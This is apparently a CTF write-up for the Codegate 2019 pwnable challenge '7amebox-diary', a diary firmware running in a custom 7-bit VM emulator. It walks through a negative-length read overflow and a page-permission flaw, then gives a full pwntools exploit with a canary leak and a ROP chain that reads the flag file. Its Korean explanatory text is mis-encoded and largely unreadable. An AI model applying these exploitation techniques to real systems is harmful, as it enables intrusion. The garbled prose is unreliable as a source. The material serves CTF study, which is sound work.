Codegate CTF 2019 - 7amebox-diary
๋ชฉ์ฐจ
Codegate CTF 2019 pwnable challenge ์ญ์ ๊ธฐ๋ณธ์ ์ธ ๊ตฌ์กฐ๋ 7amebox-name๊ณผ ๋์ผํ๋ค. 1byte๊ฐ 7bit์ธ ํ๊ฒฝ์ด๊ธฐ ๋๋ฌธ์ 0x80๋ณด๋ค ํฐ ๊ฐ์ ์
๋ ฅ๋ฐ์ผ๋ฉด ์
๋ ฅ์ด ๋๊ธฐ๊ณ returnํ๋ค. ๋ณ๊ฑฐ ์๋ ๊ฒ ๊ฐ์ง๋ง ์ด๋ฌ๋ฉด Assembly์์ ๋ณด๋ฉด ์ด ๊ณผ์ ์์ ๋ง์ง๋ง ๊ทธ๋ฌ๋ฉด ์ด syscall์ด ์ด๋ป๊ฒ ์ฒ๋ฆฌ๋๋์ง ํ์ธํด์ผํ๋๋ฐ, ๋คํํ size๊ฐ 0๋ณด๋ค ์์ ๊ฒฝ์ฐ๋ฅผ ์ฒ๋ฆฌํ์ง ์๊ธฐ ๋๋ฌธ์ ๋ํ ๋ชจ๋ ํจ์์ ๋์์ ๋ฐ๋ผ์ ์ด ๊ฐ์ leakํด์ผํ๋๋ฐ, 0x59003์ ๋ฌธ์ ๋ ๋งํ์๋ฉด ์ ์ญ๋ณ์ ๊ณต๊ฐ์ธ ํ ๋น๋ฐ์ ์ฃผ์๋ฅผ ์ ๋ฌํ์ง ์์ผ๋ฉด ๋ฐ๋ผ์ ํ ๋น๋ฐ์ ์ด์ ๋ค๋ง 0x00. Introduction
โ ls -al
total 64
drwxr-xr-x 2 user user 4096 Jul 30 08:48 .
drwxr-x--- 24 user user 4096 Jul 30 08:49 ..
-rw-r--r-- 1 user user 527 Jul 17 03:04 Dockerfile
-rwxr-xr-x 1 user user 30804 Jul 17 03:02 _7amebox_patched.py
-rw-r--r-- 1 user user 4560 Jul 17 03:02 diary.firm
-rw-r--r-- 1 user user 41 Jul 17 03:03 flag
-rwxr-xr-x 1 user user 22 Jul 17 03:02 run.sh
-rwxr-xr-x 1 user user 323 Jul 17 03:02 vm_diary.py Structure
struct diary {
char title[30];
char contents[1200];
char dummpy[30];
char key[1200];
}; Concept
void main() {
int choice;
int canary;
print(string_0x6c3);
print("1) list\n2) write\n3) show\n4) edit\n5) quit\n>");
read(choice, 3);
while(1) {
if(choice == '1')
list_0x12e();
else if(choice == '2')
write_0x1f0();
else if(choice == '3')
show_0x319();
else if(choice == '4')
edit_0x452();
else if(choice == '5')
exit_0x23();
}
}diary ๊ตฌ์กฐ์ฒด๋ฅผ write๋ฅผ ์ด์ฉํด์ ์์ฑํ๊ณ list ๋ฐ show๋ก ์ถ๋ ฅ, edit์ผ๋ก ์์ ํ ์ ์๋ firmware์ด๋ค. 0x01. Vulnerability
7amebox-name๋ณด๋ค firmware ์ฌ์ด์ฆ๊ฐ ๋ง์ด ์ปค์ ธ์ ์ผ๋จ C๋ก ํฌํ
์ ํ๋๋ฐ ์๋ฌด๋ฆฌ ๋ด๋ ์ทจ์ฝ์ ์ด ์์๋ค. ๊ทธ๋์ emulator์ชฝ ์ฝ๋๋ฅผ ๋ค์ ๋ณด๋ค๋ณด๋ ์ด๋ฐ ์ฝ๋๊ฐ ์์๋ค.class Stdin:
def read(self, size):
res = ''
buf = sys.stdin.readline(size)
for ch in buf:
if ord(ch) > 0b1111111:
break
if ch == '\n':
res += ch
break
res += ch
return res
def write(self, data):
return Nonewrite๋ฅผ ํ ๋ ํฐ ์ทจ์ฝ์ ์ด ๋ฐ์ํ๋ค. 0x286: 10 5b mov r5, bp
0x288: 2e 50 06 00 00 sub r5, 0x6
0x28d: 00 65 ldr r6, [r5] ; r6 = [r5]
0x28f: 26 60 1e 00 00 add r6, 0x1e
0x294: 12 10 30 00 09 mov r1, 0x4b0
0x299: 10 06 mov r0, r6
0x29b: 7b 50 6f 00 06 call read_0x60f ; read(memory + 30, 1200);
0x2a0: 48 00 dec r0
0x2a2: 10 5b mov r5, bp
0x2a4: 2e 50 06 00 00 sub r5, 0x6
0x2a9: 00 65 ldr r6, [r5] ; r6 = [r5]
0x2ab: 26 60 1e 00 00 add r6, 0x1e
0x2b0: 24 60 add r6, r0
0x2b2: 0d 76 strb ('zero', [{'r6'}]) ; [r6] = zero
0x2b4: 10 5b mov r5, bp
0x2b6: 2e 50 06 00 00 sub r5, 0x6
0x2bb: 00 65 ldr r6, [r5] ; r6 = [r5]
0x2bd: 26 60 6c 00 09 add r6, 0x4ec
0x2c2: 10 10 mov r1, r0
0x2c4: 10 06 mov r0, r6
0x2c6: 7b 50 44 00 06 call read_0x60f ; read(memory + 1260, r0)write๋ title -> contents -> key ์์๋ก ์
๋ ฅ์ ๋ฐ๋๋ฐ contents์ key๋ฅผ xorํด์ ์ ์ฅํ๊ธฐ ๋๋ฌธ์ contents์ key๋ฅผ ๊ฐ์ ๊ธธ์ด๋ก ์
๋ ฅํด์ผํ๋ค.contents๋ฅผ ์
๋ ฅ๋ฐ๋ 0x29b์์ ๊ฒฐ๊ณผ๊ฐ์ธ r0์ ๊ฐ์ ๊ฐ์ง๊ณ ๋ฐ๋ก key๋ฅผ ์
๋ ฅ๋ฐ์ ๊ธธ์ด๋ฅผ ๊ฒฐ์ ํ๊ฒ ๋๋ค.\n์ ์์ ์ฃผ๊ธฐ ์ํด 0x2a0์์ dec r0๋ฅผ ์ํํ๋๋ฐ, Stdin์ 0x80๋ณด๋ค ํฐ ๊ฐ์ ์ค์ r0๋ฅผ 0์ผ๋ก ๋ง๋ค๋ฉด key๋ฅผ ์
๋ ฅ๋ฐ์ ๊ธธ์ด๊ฐ -1์ด ๋์ด๋ฒ๋ฆฐ๋ค.r0 : 0x3
r1 : 0x0
r2 : 0xc44ec
r3 : -0x1
r4 : 0x0
r5 : 0xf5fc5
r6 : 0xc44ec
r7 : 0xc4000
r8 : 0x3
r9 : 0x18ed55
r10 : 0x59000
bp : 0xf5fcb
sp : 0xf5fb6
pc : 0x625
eflags : 0x1
zero : 0x0
PC : 20 00 syscall def sys_s3(self): # read
fd = self.register.get_register('r1')
buf = self.register.get_register('r2')
size = self.register.get_register('r3')
if 0 <= fd < len(self.pipeline):
res = self.pipeline[fd].read(size)
data = map(ord, res) # Stdin.read(size)
self.write_memory(buf, data, len(data))
self.register.set_register('r0', len(data) & 0b111111111111111111111)
else:
self.register.set_register('r0', 0)0b111111111111111111111๋งํผ ์
๋ ฅ์ ๋ฐ๋ ์์ฒญ๋ overflow๊ฐ ๋ฐ์ํ๊ฒ ๋๋ค. def write_memory(self, addr, data, length):
if not length:
return
if self.memory.check_permission(addr, PERM_WRITE) and self.memory.check_permission(addr + length - 1, PERM_WRITE):
for offset in range(length):
self.memory[addr + offset] = data[offset] & 0b1111111
else:
self.terminate("[VM] Can't write memory")write_memory์์ ๋ฉ๋ชจ๋ฆฌ๋ฅผ ์ฐ๊ธฐ ์์ํ๋ page์ ๋๋๋ page์ ๊ถํ๋ง ํ์ธํ๊ธฐ ๋๋ฌธ์ ์ค๊ฐ page๋ค์ ๊ถํ์ด ์๋๋ผ๋ ์ฐ๊ธฐ๊ฐ ๊ฐ๋ฅํ๋ค. 0x02. Exploit
Canary Leak
0x587: 10 5b mov r5, bp
0x589: 2e 50 03 00 00 sub r5, 0x3
0x58e: 00 65 ldr r6, [r5] ; r6 = [r5]
0x590: 5c 69 cmp r6, r9
0x592: 73 50 06 00 00 je pc + 0x6 ; jne if A == B ; not FLAG_ZF
0x597: 11 4b mov sp, bp
0x599: 1d 30 pop bp
0x59b: 1d 50 pop pc
stack_chk_fail_0x59d:
0x59d: 12 00 04 00 13 mov r0, 0x984
0x5a2: 7b 50 3a 00 01 call print_0x661
0x5a7: 54 00 xor r0, r0
0x5a9: 20 00 syscall r9์ ์ ์ฅํด๋์ ๊ฐ๊ณผ [bp-0x3]์ ์ ์ฅ๋ ๊ฐ์ ๋น๊ตํ๋ stack ๋ณดํธ ๊ธฐ๋ฒ์ด ์๋ค.canary๊ฐ ์ ์ฅ๋ ์ฃผ์๋ฅผ ์ธ ์ ์๋ค๋ฉด list์์ leak์ด ๊ฐ๋ฅํ ๊ฒ ๊ฐ์๋ค.char *load_diary(int i) {
int *r10 = 0x59000;
return *(r10 + i * 3);
}
void list_0x12e() {
char tmp[3];
int i = 1;
int canary;
...
print(load_diary_0x6b4(i));
print('\n');
...
} 0x59000๋ณด๋ค ์์ ์๋ ์ฃผ์์ diary๋ฅผ ํ ๋น๋ฐ์์ผ overwrite๊ฐ ๊ฐ๋ฅํ๋ฐ, ์๋ก์ด ๋ฉ๋ชจ๋ฆฌ๋ฅผ ํ ๋นํด์ฃผ๋ ๋ก์ง์ ๋ค์๊ณผ ๊ฐ๋ค. def allocate(self, new_perm, addr=None):
if addr:
if not (self.get_perm(addr) & PERM_MAPPED):
self.set_perm(addr, (PERM_MAPPED | new_perm) & 0b1111)
return addr
else:
return -1
for page, perm in self.pages.items():
if not (self.get_perm(page) & PERM_MAPPED):
self.set_perm(page, (PERM_MAPPED | new_perm) & 0b1111)
return page
return -1for page, perm in self.pages.items()๋ฅผ ํตํด์ pages๋ฅผ ์ํํ๋ฉฐ mapping์ด ๋์ง ์์ ๊ณต๊ฐ์ returnํด์ค๋ค. ์ด ๋ python 2.7 ๋ฒ์ ์์๋ dictionary๋ฅผ ๋๋คํ ์์๋ก ์ํํ๋ฏ๋ก 0x59000๋ณด๋ค ๋ฎ์ ๊ณต๊ฐ์ด ํ ๋น๋ ๋๊น์ง write๋ฅผ ํ๋ฉด ๋๋ค.allocate์ ํํน์ ๊ฑธ์ด์ ํ ๋น๋ ๋ฉ๋ชจ๋ฆฌ๋ฅผ ์ถ๋ ฅํด๋ณธ ๊ฒฐ๊ณผ ๋คํํ ๋๋ฒ์งธ๋ง์ 0x59000๋ณด๋ค ๋ฎ์ ๊ณต๊ฐ์ด ํ ๋น๋์๋ค.addr : 0xc4000
new perm : 0b1110
addr : 0x1c000
new perm : 0b11100x1c000์ key ์ฃผ์๋ก๋ถํฐ diary_ptr์ด ์ ์ฅ๋๋ 0x59003๊น์ง์ offset์ ๊ณ์ฐํด์ ๋ค์๊ณผ ๊ฐ์ด payload๋ฅผ ์์ฑํ๋ฉด leak์ด ๊ฐ๋ฅํ๋ค. write(s, b"AAAA", b"aaaa", b"1111") # 0xc4000
payload = b"b" * (data_addr - (0x1c000 + 0x4ec))
payload += p21(1)
payload += p21(canary_addr)
write(s, b"BBBB", b"\xff", payload) # 0x1c000
r = (list(s))
canary = u21(r.split(b"1)")[1][:3])
log.info(f"canary : {hex(canary)}") Stack Overflow
canary๋ฅผ ํฌํจํด์ stack์ return address๋ฅผ ๋ฎ์ผ๋ฉด pc ์ปจํธ๋กค์ด ๊ฐ๋ฅํ๋ค.read_0x60f๋ฅผ ํธ์ถํด์ ์
๋ ฅ์ ๋ฐ๋๋ฐ ์ด ํจ์์๋ canary๊ฐ ์์ผ๋ฏ๋ก ์ด๋ฅผ ์ ์ํด์ payload๋ฅผ ์์ฑํด์ผ ํ๋ค. payload = b"c" * (read_canary_addr - (0x3a000 + 0x4ec))
payload += p21(canary) # canary of read_0x60f
payload += b"flag\x00\x00"
payload += p21(canary) # canary of write_0x1f0 0x03. Payload
from pwn import *
from pwnlib.util.packing import p32, p64, u32, u64
from gameboxlib import *
from time import sleep
import sys
BINARY = "./vm_diary.py"
key_addr = 0x1c000 + 0x4ec
data_addr = 0x59000
ret_addr = 0xf5fce
canary_addr = 0xf5fc8
read_canary_addr = 0xf5fb6
bp = {
'list' : 0x12e,
'end_of_list' : 0x1ee,
}
context.terminal = ['tmux', 'splitw', '-hf']
def set_bp(s, addr):
print(s.recv())
s.sendline(f"b {hex(addr)}".encode())
sleep(0.1)
s.sendline(b"c")
return s.recv()
def list(s):
s.sendline(b"1")
sleep(0.1)
return s.recv()
def write(s, title, contents, key):
s.sendline(b"2")
s.recvuntil(b"title>")
s.sendline(title)
s.recvuntil(b">")
s.sendline(contents)
s.sendline(key)
return s.recv()
def main():
if(len(sys.argv) > 1):
s = remote("localhost", int(sys.argv[1]))
else:
s = process(BINARY)
# print(set_bp(s, bp['end_of_list']))
s.recv()
write(s, b"AAAA", b"aaaa", b"1111") # 0xc4000
payload = b"b" * (data_addr - (0x1c000 + 0x4ec))
payload += p21(1)
payload += p21(canary_addr)
write(s, b"BBBB", b"\xff", payload) # 0x1c000
r = (list(s))
canary = u21(r.split(b"1)")[1][:3])
log.info(f"canary : {hex(canary)}")
payload = b"c" * (read_canary_addr - (0x3a000 + 0x4ec))
payload += p21(canary)
payload += b"flag\x00\x00"
payload += p21(canary)
# open("flag") => r0 = 1, r1 = "flag"
payload += p21(0x609) # ret
payload += p21(read_canary_addr + 3) # pop r1
payload += p21(0x1) # pop r0
payload += p21(0x625) # pop pc ; syscall
# read(2, 0x3a000, 0x40) => r0 = 3, r1 = 2, r2 = 0x3a000, r3 = 0x40
payload += p21(canary) # pop r6
payload += p21(0x28) # pop r3
payload += p21(0x3a000) # pop r2
payload += p21(0x2) # pop r1
payload += p21(0x60b) # pop pc ; pop r0
payload += p21(0x3) # pop r0
payload += p21(0x625) # pop pc ; syscall
# write(1, 0x3a000, 0x40) => r0 = 2, r1 = 1, r2 = 0x3a000, r3 = 0x40
payload += p21(canary) # pop r6
payload += p21(0x28) # pop r3
payload += p21(0x3a000) # pop r2
payload += p21(0x1) # pop r1
payload += p21(0x60b) # pop pc ; pop r0
payload += p21(0x2) # pop r0
payload += p21(0x625) # pop pc ; syscall
print(write(s, b"CCCC", b"\xff", payload)) # 0x3a000
if __name__=='__main__':
main() 0x04. Decompile
#define O_MAPPED 0b1000
#define O_READ 0b0100
#define O_WRITE 0b0010
#define O_EXEC 0b0001
char *string_0x6c3 = "====================================================\
| SECRET_DIARY |\
====================================================\
| ___________ |\
| | _ | |\
| | (_) | |\
| | | | | |\
| | |___| | |\
| |___________| |\
----------------------------------------------------";
int count_0x59000 = 0;
struct diary *diary_ptr_0x59003[9];
struct diary {
char title[30];
char contents[1200];
char dummpy[30];
char key[1200];
};
char *load_diary(int i) {
int *r10 = 0x59000;
return *(r10 + i * 3);
}
void list_0x12e() {
char tmp[3];
int i = 1;
int canary;
print("YOUR DIARY");
print("----------------------------------------------------");
for(i=1; i<count_0x59000; i++) {
tmp[0] = i + 0x30; // '1'
tmp[1] = 0x29; // ')'
print(tmp);
print(load_diary_0x6b4(i));
print('\n');
}
print("----------------------------------------------------");
stack_chk_fail();
return;
}
void write_0x1f0() {
struct diary *diary;
int canary;
int r0, r8;
if(count_0x59000 > 9) {
print("no you can't. (max : 9)");
goto _0x303;
}
count_0x59000++;
diary = mprotect(O_READ | O_WRITE);
diary_ptr_0x59003[count_0x59000] = diary;
print("title>");
r0 = read(diary, 30);
diary->title[r0] = "\x00";
print("content, secret key (same length)\n>");
r0 = read(diary->contents, 1200);
diary->contents[r0] = "\x00";
read(diary->key, r0); // read(diary->key, 0x7f7f7f);
for(r8=0; r8<1200; r8++)
diary->contents[r8] = diary->contents[r8] ^ diary->key[r8];
_0x303:
stack_chk_fail();
return;
}
void show_0x319() {
char buf[1200]; // 0xf5b12
struct diary *diary; // 0xf5fc2
int choice; // 0xf5fc5
int canary; // 0xf5fc8
int r0, r8;
print("index>>");
read(choice, 3);
if(choice < '1' || choice > '9')
goto _0x43c;
r0 = choice - '0';
if(r0 > count_0x59000)
goto _0x43c;
diary = load_diary_0x6b4(r0);
print("----------------------------------------------------");
print("TITLE :");
print(diary->title);
print("\n");
print("----------------------------------------------------");
memcpy_0x5d9(buf, diary->contents, 1200);
for(r8=0; r8<1200; r8++)
buf[r8] = buf[r8] ^ diary->key[r8];
print(buf);
print("\n");
print("----------------------------------------------------");
_0x43c:
stack_chk_fail();
return;
}
void edit_0x452() {
struct diary *diary;
int choice;
int canary;
int r0, r8;
print("index>>");
read(choice, 3);
if(choice < '1' || choice > '9')
goto _0x587;
r0 = choice - '0';
if(r0 > count_0x59000)
goto _0x587;
diary = load_diary_0x6b4(r0);
print("title>");
read(diary->title, 30);
diary->title[r0] = "\x00";
print("content\n>");
r0 = read(diary->contents, 1200);
diary->contents[r0] = "\x00";
print("secret key\n>");
print(diary->key);
print("\n");
for(r8=0; r8<1200; r8++)
diary->contents[r8] = diary->contents[r8] ^ diary->key[r8];
_0x587:
stack_chk_fail();
return;
}
void exit_0x23() {
_exit();
}
void main() {
int choice;
int canary;
print(string_0x6c3);
print("1) list2) write3) show4) edit5) quit");
read(choice, 3);
while(1) {
if(choice == '1')
list_0x12e();
else if(choice == '2')
write_0x1f0();
else if(choice == '3')
show_0x319();
else if(choice == '4')
edit_0x452();
else if(choice == '5')
exit_0x23();
}
}